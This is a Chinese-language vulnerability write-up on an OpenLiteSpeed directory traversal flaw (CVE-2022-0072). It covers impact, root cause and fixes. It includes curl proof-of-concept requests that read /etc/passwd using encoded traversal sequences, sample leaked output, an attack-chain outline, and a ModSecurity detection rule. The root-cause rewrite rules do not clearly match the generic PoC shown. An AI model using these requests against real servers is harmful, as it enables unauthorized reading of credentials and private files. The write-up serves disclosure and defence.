Print document Edit on github

OpenLiteSpeed

CVE-2022-0072 目录穿越漏洞

漏洞概述

CVE-2022-00721 是 LiteSpeed Web Server(OpenLiteSpeed)中的一个目录穿越漏洞。该漏洞允许未经认证的攻击者通过特制的 HTTP 请求来遍历 Web 服务器的目录结构,访问 Web 根目录之外的任意文件。

LiteSpeed Technologies 于 2022 年 11 月 14 日发布了安全公告2,同时披露了三个相关漏洞:

CVE编号 漏洞类型 严重性 影响版本
CVE-2022-0072 目录穿越 High (7.5) OpenLiteSpeed < 1.7.16.1
CVE-2022-0073 NULL 字节注入 High (7.5) OpenLiteSpeed < 1.7.16.1
CVE-2022-0074 绕过访问控制 Medium (5.3) OpenLiteSpeed < 1.7.16.1

漏洞位置

OpenLiteSpeed 是 LiteSpeed Web Server 的开源版本,广泛应用于 PHP 网站托管。漏洞存在于请求 URL 的解析逻辑中,当服务器处理包含特定路径遍历字符的请求时,未能正确规范化 URL 路径。

泄露内容分析

根据安全公告2,攻击者可利用该漏洞读取以下敏感信息:

  • /etc/passwd — 系统用户信息
  • /etc/shadow — 用户密码哈希(需 root 权限可读)
  • /etc/hosts — 主机名解析
  • 网站配置文件(数据库凭据、API 密钥等)
  • Web 应用源代码
  • SSL 证书私钥文件

漏洞验证

环境搭建

从 GitHub 仓库获取 OpenLiteSpeed < 1.7.16.1 版本进行测试:

PoC 构造

利用目录穿越构造特殊请求路径:

# 基本目录穿越 PoC
curl -k https://target:443/../../../etc/passwd

# 利用编码绕过
curl -k "https://target:443/%2e%2e/%2e%2e/etc/passwd"

# 组合利用
curl -k "https://target:443/index.php/../../../../../etc/passwd"

成功响应示例

如果漏洞存在,服务器会返回目标文件内容:

HTTP/1.1 200 OK
Content-Type: text/html

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

攻击场景

  1. 信息收集 — 攻击者通过目录穿越获取网站配置文件,提取数据库连接信息
  2. 凭据窃取 — 读取 /etc/shadow 或应用密钥文件,进行离线破解
  3. 横向移动 — 利用窃取的凭据访问其他服务或系统
  4. 持久化 — 结合其他漏洞实现 Webshell 植入

根因分析

Github commit 记录所示3

2022-11-22-11.22.23.png

RewriteRule4

"RewriteCond %{REQUEST_URI} !^/(index|login)\\.php$\n"
"RewriteCond %{REQUEST_URI} !^/view/(serviceMgr|confMgr|ajax_data|dashboard|logviewer|compilePHP|realtimestats)\\.php$\n"
"RewriteRule \\.php - [F]\n";

漏洞的根本原因在于:

  • URL 解析器在规范化路径时,未能正确处理 .. 序列和编码后的路径分隔符
  • RewriteRule 规则仅对 .php 文件进行了过滤,但未对路径遍历序列进行有效拦截
  • 修复补丁在 1.7.16.1 版本中增加了路径规范化校验,确保请求路径不会逃逸出 Web 根目录

影响评估

  • CVSS 3.1 评分:7.5 (High)
  • 攻击复杂度:低(无需认证)
  • 影响范围:所有运行 OpenLiteSpeed < 1.7.16.1 的服务器
  • 实际影响:泄露敏感配置、源代码和凭据,可能被链式利用导致 RCE

修复建议

  1. 升级版本 — 升级 OpenLiteSpeed 到 1.7.16.1 或更高版本:
    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade openlitespeed
    
  2. WAF 规则 — 在前端部署 WAF,拦截包含路径遍历特征的请求:
    # ModSecurity 规则示例
    SecRule REQUEST_URI "(\.\.\/|\.\.\\|%2e%2e)" "id:100001,phase:1,deny,status:403,msg:'Directory traversal attempt'"
    
  3. 最小权限 — 确保 OpenLiteSpeed 进程以低权限用户运行,限制文件读取范围

  4. 监控告警 — 监控 Web 服务器日志中异常的 403/404 响应,及时发现目录穿越尝试

参考标准

贡献开源文档

贡献当前开源文档
此之前,学习开源贡献CN | EN

此文档对您有帮助吗

在本文中